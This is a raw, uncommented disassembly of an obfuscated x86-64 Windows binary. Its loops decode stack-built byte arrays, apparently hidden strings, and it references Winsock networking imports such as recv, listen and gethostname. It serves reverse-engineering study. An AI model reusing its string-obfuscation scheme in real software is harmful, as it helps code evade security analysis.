inc rbx
jmp 0x140082792
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140082b4f
movabs rdx, 0x4a53e0f1d3b247fa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140083209
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140082f7b
movabs rcx, 0xc37f81a7fddbdb8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082792
inc rax
cmp r8, rax
jne 0x140082fb0
movabs rdx, 0xccceb8979c3ba90
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140083242
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140082fdd
movabs rdx, 0x8dac58aff09cb5d4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14008303f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082b8c
movabs rdx, 0xdf6d2676d8fb440
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140082792
movabs rdx, 0xf20b945615badf0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xd70]
add r10b, r11b
add r10b, dl
movabs rcx, 0xcf45f6211fd52d26
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0xa
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0xd70], r11b
jmp 0x140083209
movabs rdx, 0x8f6b32fcde4eac5c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xd70]
add r10b, r11b
add r10b, dl
jmp 0x140083242
movabs rdx, 0x45ac457a0482613a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082792
movabs rdx, 0x4517520b0a9c6462
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140083242
movabs rdx, 0x43ed6b2d16d06ab2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140082792
movabs rdx, 0xc3a2f17599dd6c46
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140082792
movabs rdx, 0x435877be1cea6dda
mov ecx, 5
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0x4efb7c69a2e22eba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x16
add cl, r11b
mov byte [rbp + rbx + 0xd70], cl
inc r9
dec rbx
inc rbx
jmp 0x140082792
movabs rcx, 0x422e90e0291e742a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x26
dec rbx
inc rbx
jmp 0x140082792
movabs rcx, 0x41999d712f387752
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082792
mov r11, rdx
movabs rcx, 0x4104aa0235527a7a
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x56
movabs rdx, 0x4f906fd89cc82b92
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xd70], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14008329d
movabs rcx, 0xc0ba304ab85f7c0e
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x62
movzx r11d, dl
movabs rcx, 0xfb5acb45b41aac8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x78
add cl, r11b
mov byte [rbp + rbx + 0xd70], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082792
movabs rcx, 0x406fb6933b6c7da2
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x6e
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082792
movabs rcx, 0xd3589e29f51f170e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x140082790
movabs rcx, 0x530e2472782c18a2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6e
jmp 0x140082780
lea r14, [rbp + 0x16185b8]
jmp 0x14008337f
lea r14, [rbp + 0x11b04ee]
jmp 0x14008337f
lea r14, [rbp + 0xd70]
lea rdx, [0x14022a020]
lea rcx, [rbp + 0x608]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xe8]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a4062
mov byte [rbp + 0xd98], 0x86
mov byte [rbp + 0xd99], 0xa4
mov byte [rbp + 0xd9a], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd9b], 0x9f
mov byte [rbp + 0xd9c], __WSAFDIsSet
mov byte [rbp + 0xd9d], Ordinal_211
mov byte [rbp + 0xd9e], 0x85
mov byte [rbp + 0xd9f], 0x9d
mov byte [rbp + 0xda0], Ordinal_217
mov byte [rbp + 0xda1], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xda2], __WSAFDIsSet
mov byte [rbp + 0xda3], 0x9e
mov byte [rbp + 0xda4], 0x63
mov byte [rbp + 0xda5], 0xf9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xda6], xmm0
mov dword [rbp + 0xdb6], eax
mov byte [rbp + 0xdba], al
movabs r15, 0x9abc7759cb65b336
movabs r13, 0x189652f0d494f78a
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0x44521e1077665dde
cmp rdi, 0x23
jae 0x1400842b2
movzx ebx, byte [rbp + rdi + 0xd98]
mov r10, rbx
cmp r8, rdi
ja 0x1400842a6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400834c0
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x12
jmp 0x140083513
je 0x14008421e
inc rax
cmp r8, rax
je 0x1400841b3
lea rax, [r9 + 3]
cmp r8, rax
je 0x140084156
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008411b
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400840f2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400840c6
lea rax, [r9 + 4]
cmp r8, rax
je 0x140084074
cmp r9, rdi
ja 0x14008429a
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140083547
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7a
add r11b, dl
jmp 0x140083580
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008404f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140084021
lea rax, [r9 + 5]
cmp r8, rax
je 0x140083ffe
lea rax, [r9 + 6]
cmp r8, rax
je 0x140083fc5
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140083c05
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140083be0
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140083baf
lea rax, [r9 + 2]
cmp r8, rax
je 0x140083b86
lea rax, [r9 + 1]
cmp r8, rax
je 0x140083b62
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140083b3f
lea rax, [r9 + 9]
cmp r8, rax
je 0x140083b0c
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140083ae7
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140083abf
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140083a86
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140083590
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 5]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140084277
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140084254
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008378f
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140083767
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140083748
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140083a22
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400839c1
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140083975
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140083947
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140083590
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008390e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400838e6
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400838c1
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008388e
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008386b
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140083847
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140083819
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400837e8
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400837c0
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140083590
lea r8, [r9 + 0x61]
lea r9, [r8 + 9]
jmp 0x140083590
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140083580
movabs rdx, 0x8ff216cfe5c83bce
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140083513
movabs rdx, 0x74ddaaef6fb8012
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7e
add r11b, dl
movabs rcx, 0x44521e1077665dde
jmp 0x14008348e
movabs rdx, 0xd5e3bace5b2d99b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140084096
movabs rdx, 0x4d3f7ead6c60ddf4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140083472
movabs rdx, 0xc49b428c7d942238
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140083472
movabs rdx, 0x3bf7066b8ec7667c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
jmp 0x140083f6b
movabs rcx, 0xb352ca4a9ffaaac0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x14008413e
movabs rcx, 0x2aae8e29b12def04
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083472
movabs rdx, 0xa20a5208c2613348
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140084179
movabs rdx, 0x196615e7d394778c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400841d6
movabs rdx, 0x90c1d9c6e4c7bbd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083472
movabs rcx, 0x3b2743748fc7e67a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x56
mov byte [rbp + rdi + 0xd98], r11b
inc rdi
jmp 0x140083472
movabs rcx, 0xb2830753a0fb2abe
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
cmp r9, 0x7a
jb 0x140083965
movabs rdx, 0x38b7fa8f92c96674
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x58]
jmp 0x140084096
movabs rdx, 0x29decb32b22e6f02
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xe
add r11b, dl
cmp r8, 0x2a
jae 0x140083f44
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x140083e1d
movabs rdx, 0xe24da1463eca111c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140083993
movabs rdx, 0xa13a8f11c361b346
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x140083f9b
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140083d0a
movabs rdx, 0x479129ec73645de6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4a
jmp 0x1400839e0
movabs rdx, 0xa06acc1ac4623344
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083472
movabs rdx, 0x17c68ff9d5957788
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400841d6
movabs rdx, 0x8f2253d8e6c8bbcc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140084179
movabs rcx, 0x67e17b7f7fc0010
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083472
movabs rcx, 0x7dd9db97092f4454
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4c
jmp 0x14008413e
movabs rdx, 0xf5359f761a628898
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x28
jmp 0x140083f6b
movabs rcx, 0x6c9163552b95ccdc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 4
dec rdi
inc rdi
jmp 0x140083472
movabs rdx, 0xe3ed27343cc91120
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140083472
movabs rdx, 0x5b48eb134dfc5564
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140084093
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140083c35
movabs rcx, 0x44521e1077665dde
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x12
jmp 0x140083a45
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140083c7b
movabs rdx, 0x3578eeb396cb666c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083472
inc rax
cmp r8, rax
jne 0x140083cba
movabs rcx, 0xcf65a316633199a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083472
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140083cdb
movabs rdx, 0x5809df3751fe555c
mov ecx, 0x3e
jmp 0x14008412a
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140083a45
movabs rdx, 0xe0ae1b5840cb1118
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140083f68
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140083d3b
movabs rdx, 0xd035660d623119a2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6e
jmp 0x140084093
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140083d76
movabs rdx, 0xe17dde4f3fca911a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140083472
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140083d97
movabs rdx, 0xf2c656911d640892
mov ecx, 1
jmp 0x14008412a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140083dd7
movabs rcx, 0x7b6a92b20c30c44e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083472
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400839e3
movabs rdx, 0x15574714d896f782
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083472
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140083e63
movabs rdx, 0x6af1dd672d96ccd8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083472
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140083e94
movabs rdx, 0x7c3a55a90b304450
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
jmp 0x140084179
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140083ed4
movabs rcx, 0x4de91c9f9fd000c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083472
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140083f06
movabs rdx, 0x16270a0bd7967784
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083f6e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140083993
movabs rdx, 0x276f824db52feefc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140083472
movabs rdx, 0xc15c36b081962230
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xd98]
sub r11b, al
sub r11b, 0x50
add r11b, bl
add r11b, dl
movabs rdx, 0x5ae54c0f8fc800e
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x62
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xd98], cl
jmp 0x14008413e
movabs rcx, 0x4a0072d17062ddec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xd98]
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x14008417c
movabs rdx, 0x6882948230984cd2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083472
movabs rcx, 0x45f1a3fe75655de2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2e
jmp 0x14008413e
movabs rdx, 0x34a92bbc97cbe66a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140083472
movabs rdx, 0x2360b37aba326ef2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140084093
movabs rdx, 0x12183b38dc98f77a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x56
add r11b, dl
movabs rcx, 0x7d0a18a00a2fc452
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x3e
add bl, cl
mov byte [rbp + rdi + 0xd98], bl
inc r9
dec rdi
inc rdi
jmp 0x140083472
movabs rcx, 0x8973ff17edcc3bbe
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x32
inc r9
dec rdi
inc rdi
jmp 0x140083472
movabs rcx, 0xcfc2f6feff8002
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xe
dec rdi
inc rdi
jmp 0x140083472
movabs rdx, 0xef874ab52166088a
mov ecx, Ordinal_30
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083472
mov rbx, r10
movabs rdx, 0xde3ed27343cc9112
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7e
add r11b, dl
movabs rdx, 0x8e5290e1e7c93bca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xd98], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400841d6
movabs rcx, 0x559a965254ffd556
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5a
movzx ebx, r10b
movabs rdx, 0xd2a4aef25f2f99a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xd98], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083472
movabs rcx, 0xccf65a316633199a
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x36
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083472
movabs rcx, 0x7ea99e8e082ec456
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5a
jmp 0x14008346e
movabs rcx, 0xf605626d1962089a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x36
jmp 0x140083459
lea rcx, [rbp + 0x1471ec0]
jmp 0x1400842b9
lea rcx, [rbp + 0xed7c9e]
jmp 0x1400842b9
lea rcx, [rbp + 0xd98]
mov dword [rbp + 0xfe0], 0x3e8
mov dword [rbp + 0xfe8], 0xa
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xfe0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfe8]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xdc0], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xdc1], WSACleanup
mov byte [rbp + 0xdc2], Ordinal_41
mov byte [rbp + 0xdc3], 0x5e
mov byte [rbp + 0xdc4], 0x7e
mov byte [rbp + 0xdc5], 0x7a
mov byte [rbp + 0xdc6], WSASetLastError
mov byte [rbp + 0xdc7], WSACleanup
mov byte [rbp + 0xdc8], recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdc9], xmm0
mov qword [rbp + 0xdd9], rax
mov word [rbp + 0xde1], ax
movabs rdi, 0x6950e300c2d63a15
movabs rsi, 0xc54827afb44d068b
movabs r15, 0xa37dc1aab3f1d201
movabs r14, 0x7e4ca45a4c696289
movabs r13, 0x37512104e485be87
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r9, qword [0x1402304a8]
mov r8, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140085211
movzx r11d, byte [rbp + rbx + 0xdc0]
mov rdx, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x140085205
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400843f3
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 7
jmp 0x140084440
je 0x14008517c
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400850e1
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400850ae
lea rax, [r8 + 6]
cmp r9, rax
je 0x140085050
lea rax, [r8 + 7]
cmp r9, rax
je 0x140085025
lea rax, [r8 + 4]
cmp r9, rax
je 0x140084ff8
nop word [rax + rax]
cmp r8, rbx
ja 0x1400851f9
lea rax, [r8 + 0x5a]
cmp r9, rax
jae 0x140084471
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
jmp 0x1400844b2
lea rax, [r8 + 1]
cmp r9, rax
je 0x140084fa3
lea rax, [r8 + 3]
cmp r9, rax
je 0x140084f79
lea rax, [r8 + 4]
cmp r9, rax
je 0x140084f41
lea rax, [r8 + 6]
cmp r9, rax
je 0x140084f0d
lea rax, [r8 + 2]
cmp r9, rax
je 0x140084ee5
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140084b1d
nop
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x140084af8
lea rax, [r8 + 9]
cmp r9, rax
je 0x140084aca
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x140084aa0
